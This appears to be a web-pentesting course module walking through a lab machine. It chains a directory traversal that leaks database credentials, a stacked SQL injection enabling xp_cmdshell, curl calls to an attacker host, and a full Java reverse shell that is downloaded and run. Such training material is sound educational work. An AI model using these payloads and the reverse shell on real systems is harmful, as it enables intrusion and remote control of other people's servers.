Module 16: Assembling the Pieces: Web Application Assessment Breakdown

Introduction to WEB-200 Challenge Machines

Welcome to the Challenge Machines

These fall between the sandbox and the cast study machines, running custom-designed applications intended to mimic real-world applications. You may need to combine multiple attacks or apply techniques in different ways to exploit them.

Starting and Accessing Challenge Machines

Start, revert, or stop the challenge machines from the Labs page. Add them to your hosts file for ease of access.

Completing Challenge Machines

Each challenge machine contains two flags. Each machine may be different, but generally, there is a local.txt obtained within the application after performing an authenticated bypass attack. The proof.txt requires gaining a shell on the machine.

Web Application Enumeration

Accessing the Challenge Machine

Start the VPN, the VM, and add its ip/hostname to your hosts file.

Basic Host Enumeration and OS Detection

Run nmap to identify open ports and other information.

Basic nmap scan of the challenge machine

kali@kali:~$ nmap asio
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-18 15:11 EST
Nmap scan report for asio (192.168.50.131)
Host is up (0.059s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 5.80 seconds

Nmap scan with OS discovery enabled

kali@kali:~$ sudo nmap -O -Pn asio       
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-18 15:12 EST
Nmap scan report for asio (192.168.50.131)
Host is up (0.059s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%), Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.69 seconds

Content Discovery

Running gobuster against the challenge machine

kali@kali:~$ gobuster dir -u http://asio -w /usr/share/wordlists/dirb/common.txt   
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://asio
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/18 15:38:10 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 302) [Size: 0] [--> http://asio/login]
/contact              (Status: 405) [Size: 105]                            
/error                (Status: 500) [Size: 73]                             
/login (Status: 200) [Size: 2746]
/logout               (Status: 302) [Size: 0] [--> http://asio/]     
/newsletter           (Status: 405) [Size: 108]                            
/redirect             (Status: 302) [Size: 0] [--> http://asio/]     
/specials             (Status: 400) [Size: 99]                             
                                                                           
===============================================================
2022/01/18 15:38:53 Finished
===============================================================

Authentication Bypass

Finding a Directory Traversal

Nmap scan excerpt

PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%), Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).

Exploiting a Directory Traversal

Contents of paths.txt

kali@kali:~$ nano paths.txt

kali@kali:~$ cat paths.txt
../
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../

Contents of files.txt

kali@kali:~$ nano files.txt
                                                  
kali@kali:~$ cat files.txt
application.properties
application.yml
config/application.properties
config/application.yml

Wfuzz results

kali@kali:~$ wfuzz -w paths.txt -w files.txt --hh 0 http://asio/specials?menu=FUZZFUZ2Z
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://asio/specials?menu=FUZZFUZ2Z
Total requests: 28

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                   
=====================================================================

000000003:   200        18 L     21 W       523 Ch      "../ - config/application.properties"

Total time: 0
Processed Requests: 28
Filtered Requests: 27
Requests/sec.: 0

Using curl to access application.properties

kali@kali:~$ curl http://asio/specials?menu=../config/application.properties
# STRIGI'S PIZZA 
server.port=80
server.address=0.0.0.0
spring.web.resources.cache.cachecontrol.max-age=1d
# LOGGING
logging.file.name=logs/strigi.log
logging.level.root=WARN

# DATABASE
spring.datasource.driver-class-name=com.microsoft.sqlserver.jdbc.SQLServerDriver
spring.datasource.url=jdbc:sqlserver://127.0.0.1;databaseName=strigi

spring.datasource.username=sa
spring.datasource.password=MqFuFWUGNrR3P4bJ

spring.datasource.hikari.max-lifetime=30

# ADMIN PORTAL
admin.portal.key=06c82a1f-892d-48de-8682-67c0c3a096b4

Remote Code Execution

Finding SQL Injection

HTTP Request to Delete a Message

POST /admin/message/delete?id=4 HTTP/1.1
Host: asio
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://asio
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://asio/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=C0C3B7B39FB409EC20E31AF0B715C801
Connection: close

If the application redirects us to http://asio/login, our session has expired. In which case, we would need to log in with the API key again and update the JSESSIONID value in Repeater.

Excerpt from application.properties

...
# DATABASE
spring.datasource.driver-class-name=com.microsoft.sqlserver.jdbc.SQLServerDriver
spring.datasource.url=jdbc:sqlserver://127.0.0.1;databaseName=strigi
...

Wordlist of potential table names

kali@kali:~$ nano tables.txt

kali@kali:~$ cat tables.txt
newsletter
newsletters
subscription
subscriptions
newsletter_subscription
newsletter_subscriptions

Base INSERT statement payload

insert into TABLE_NAME values('EMAIL_VALUE')

Using Wfuzz to send SQL injection attacks

kali@kali:~$ wfuzz -w tables.txt -w tables.txt -m zip -b JSESSIONID=C0C3B7B39FB409EC20E31AF0B715C801 -d "" "http://asio/admin/message/delete?id=4;insert+into+FUZZ+values('FUZ2Z')"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://asio/admin/message/delete?id=4;insert+into+FUZZ+values('FUZ2Z')
Total requests: 6

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                  
=====================================================================

000000006:   302        0 L      0 W        0 Ch        "newsletter_subscriptions - newsletter_subscriptions"
000000002:   302        0 L      0 W        0 Ch        "newsletters - newsletters"
000000001:   302        0 L      0 W        0 Ch        "newsletter - newsletter" 
000000003:   302        0 L      0 W        0 Ch        "subscription - subscription" 
000000005:   302        0 L      0 W        0 Ch        "newsletter_subscription - newsletter_subscription"
000000004:   302        0 L      0 W        0 Ch        "subscriptions - subscriptions"

Total time: 0.360708
Processed Requests: 6
Filtered Requests: 0
Requests/sec.: 16.63394

Exploit SQL Injection for RCE

Excerpt from application.properties

...
spring.datasource.username=sa
spring.datasource.password=MqFuFWUGNrR3P4bJ
...

Base SQL payload to enable advanced options

EXECUTE sp_configure 'show advanced options',1; RECONFIGURE;

Base SQL payload to enable xp_cmdshell

EXECUTE sp_configure 'xp_cmdshell',1; RECONFIGURE;

Starting a netcat listener on port 8000

kali@kali:~$ nc -nvlp 8000
listening on [any] 8000 ...

Base SQL payload to invoke curl using xp_cmdshell

EXEC xp_cmdshell 'curl http://192.168.48.2:8000/itworked';

Netcat listener received an HTTP request

...
listening on [any] 8000 ...
connect to [192.168.48.2] from (UNKNOWN) [192.168.50.131] 50274
GET /itworked HTTP/1.1
Host: 192.168.48.2:8000
User-Agent: curl/7.55.1
Accept: */*

Obtaining a Shell

In real-world application assessments, we may need to customize a reverse shell or some other piece of code to complete an attack. However, we recognize that WEB-200 is not a programming course. While we will walk through the code and explain it, we will also provide a copy of the final shell at the end of this section.

Java Reverse Shell example

String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

An example Hello World application

class HelloWorldApp {
    public static void main(String[] args) {
        System.out.println("Hello World!"); // Display the string.
    }
}

Creating a file for our reverse shell

kali@kali:~$ nano RevShell.java

Basic Java class code

class RevShell {
    public static void main(String[] args) {
        
    }
}

Import statements

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

Java Reverse Shell

kali@kali:~$ cat RevShell.java                                                    
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

class RevShell {
    public static void main(String[] args) {
        String host="192.168.48.2";
        int port=4444;
        String cmd="cmd.exe";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    }
}

We compile Java code with the javac command. In this scenario, we can rely on the victim machine to compile the code for us. However, if you wish to run javac locally but the command is not found, you can install the necessary files with sudo apt-get install default-jdk.

Java compiler error

kali@kali:~$ javac RevShell.java                
RevShell.java:11: error: unreported exception IOException; must be caught or declared to be thrown
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
...

Updated main() method declaration

...
  public static void main(String[] args) throws Exception {
...

Starting a python http server to host our shell

kali@kali:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Base SQL injection payload to download the reverse shell

EXEC xp_cmdshell 'curl http://192.168.48.2:8000/RevShell.java --output %temp%/RevShell.java';

Python HTTP Server log

...
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.50.131 - - [18/Jan/2022 16:38:46] "GET /RevShell.java HTTP/1.1" 200 -

Starting a netcat listener on port 4444

kali@kali:~$ nc -nvlp 4444 
listening on [any] 4444 ...

On older versions of Java, we'd need to compile the source file using javac. The compiler creates a class file with the same name, but no file extension. In theory, we could compile it locally and upload the class file. However, we would have to know the version of Java running on the server to ensure we compiled our code at the right target version. Java is backwards-compatible, so newer versions of Java will run code compiled for older versions. However, there are exceptions where updates removed some APIs from newer versions due to security concerns.

Base SQL injection payload to run our Java reverse shell

EXEC xp_cmdshell 'java %temp%/RevShell.java';

Netcat received our reverse shell

...
listening on [any] 4444 ...
connect to [192.168.48.2] from (UNKNOWN) [192.168.50.131] 50515
Microsoft Windows [Version 10.0.17763.2366]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Conclusion

Good job, you did it.

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